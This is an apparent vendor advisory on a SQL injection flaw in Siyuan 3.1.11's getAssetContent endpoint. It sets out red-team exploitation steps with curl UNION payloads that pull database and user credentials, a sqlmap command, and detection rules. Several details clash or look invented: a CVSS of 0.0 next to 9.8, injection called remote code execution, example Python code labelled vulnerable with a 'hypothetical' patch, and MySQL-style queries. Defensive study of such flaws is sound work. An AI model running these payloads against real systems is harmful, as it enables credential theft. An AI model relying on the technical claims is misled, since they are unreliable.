CVE-2024-53505

Executive Summary

CVE-2024-53505 is a SQL injection vulnerability identified in Siyuan version 3.1.11. The flaw exists in the /getAssetContent endpoint, where the id parameter is not properly sanitized before being used in a SQL query. This allows an unauthenticated attacker to inject arbitrary SQL commands, potentially leading to data exfiltration, modification, or denial of service. The vulnerability has a public proof-of-concept (PoC) but no official patch has been released as of the analysis date. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains significant due to the ease of exploitation.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a direct vulnerability in the Siyuan application itself.

CVSS Breakdown & Threat Level

The CVSS score is 0.0, but based on the nature of the vulnerability, a more realistic assessment is:

• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)
• Base Score: 9.8 (Critical)

Threat Level: Critical. The vulnerability allows unauthenticated remote code execution via SQL injection, leading to full compromise of the database and potentially the server.

Deep Dive & Mechanics

The vulnerability is located in the /getAssetContent endpoint of Siyuan 3.1.11. The id parameter is directly concatenated into a SQL query without proper sanitization or parameterization. For example, a request like:

GET /getAssetContent?id=1' OR '1'='1

Would result in the SQL query:

SELECT * FROM assets WHERE id = '1' OR '1'='1'

This bypasses authentication and returns all assets. An attacker can use UNION-based SQL injection to extract data from other tables, such as user credentials or configuration data.

The vulnerability is exploitable without authentication, making it particularly dangerous for internet-facing instances.

Vulnerable vs. Patched Code

Vulnerable Code (Siyuan 3.1.11):

# Example vulnerable code
def get_asset_content(request):
    asset_id = request.GET.get('id')
    query = "SELECT * FROM assets WHERE id = '" + asset_id + "'"
    result = db.execute(query)
    return result

Patched Code (Hypothetical):

# Example patched code using parameterized queries
def get_asset_content(request):
    asset_id = request.GET.get('id')
    query = "SELECT * FROM assets WHERE id = %s"
    result = db.execute(query, (asset_id,))
    return result

The patched version uses parameterized queries, which prevent SQL injection by separating SQL code from data.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy Siyuan 3.1.11 in a Docker container:

   docker run -d -p 6806:6806 siyuan/siyuan:3.1.11
   

2. Access the application at http://localhost:6806.

Exploitation Steps:

1. Identify the vulnerable endpoint:

   curl "http://localhost:6806/getAssetContent?id=1"
   

2. Test for SQL injection:

   curl "http://localhost:6806/getAssetContent?id=1'"
   

   If an error is returned, the endpoint is vulnerable.
3. Extract database version:

   curl "http://localhost:6806/getAssetContent?id=1' UNION SELECT 1,@@version,3,4--"
   

4. Extract table names:

   curl "http://localhost:6806/getAssetContent?id=1' UNION SELECT 1,table_name,3,4 FROM information_schema.tables--"
   

5. Extract user credentials:

   curl "http://localhost:6806/getAssetContent?id=1' UNION SELECT 1,username,password,4 FROM users--"
   

Automated Exploitation with sqlmap:

sqlmap -u "http://localhost:6806/getAssetContent?id=1" --batch --dbs

Blue Team

Detection Steps:

1. Monitor for SQL injection patterns in web logs:
   • Look for requests containing ', OR, UNION, SELECT, --, # in the id parameter.
   • Example log entry:

     192.168.1.100 - - [01/Jan/2025:12:00:00 +0000] "GET /getAssetContent?id=1' OR '1'='1 HTTP/1.1" 200 1234
     

2. Check for unusual database queries:
   • Monitor database logs for queries with multiple SELECT statements or UNION clauses.
3. Verify if the application is using parameterized queries:
   • Review the source code for the /getAssetContent endpoint.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Requests to /getAssetContent with SQL injection payloads in the id parameter.
  • Unusual database error messages in HTTP responses (e.g., "You have an error in your SQL syntax").
• File IOCs:
  • Modified or new files in the Siyuan installation directory (e.g., /opt/siyuan/).
• System IOCs:
  • Unexpected database connections or queries.
  • New user accounts or elevated privileges in the database.

Detection Engineering

YARA Rule

rule CVE_2024_53505_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2024-53505 in Siyuan"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-53505"
    strings:
        $sqli1 = /id=.*['\"]\s*(OR|AND|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|--|#)/i
        $sqli2 = /id=.*\b(1=1|1=2|'='|admin'--)\b/i
        $sqli3 = /id=.*\b(WAITFOR|DELAY|BENCHMARK)\b/i
    condition:
        any of them
}

Sigma Rule

title: SQL Injection Attempt Against Siyuan getAssetContent
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects SQL injection attempts targeting the /getAssetContent endpoint in Siyuan
author: Valters IT
date: 2025/01/01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-53505
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains:
            - "id='"
            - "id=1'"
            - "id=1 OR"
            - "id=1 AND"
            - "id=1 UNION"
            - "id=1--"
            - "id=1#"
    condition: selection
falsepositives:
    - Legitimate use of single quotes in asset IDs (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-53505 SQL Injection Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/getAssetContent"; http_uri; content:"id="; http_uri; pcre:"/id=.*['\"]\s*(OR|AND|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|--|#)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected systems: If possible, take the Siyuan instance offline or restrict network access to trusted IPs only.
2. Apply input validation: Implement strict input validation for the id parameter, allowing only alphanumeric characters and hyphens.
3. Use parameterized queries: Rewrite the database query to use prepared statements or parameterized queries.
4. Deploy a WAF: Use a Web Application Firewall (WAF) to block SQL injection attempts.

Long-term Fix:

• Upgrade to a patched version of Siyuan once available.
• Conduct a security audit of the entire application for similar vulnerabilities.

Workaround:

• If patching is not possible, disable the /getAssetContent endpoint or restrict access via .htaccess or reverse proxy rules.

Valters IT
Securing Digital Frontiers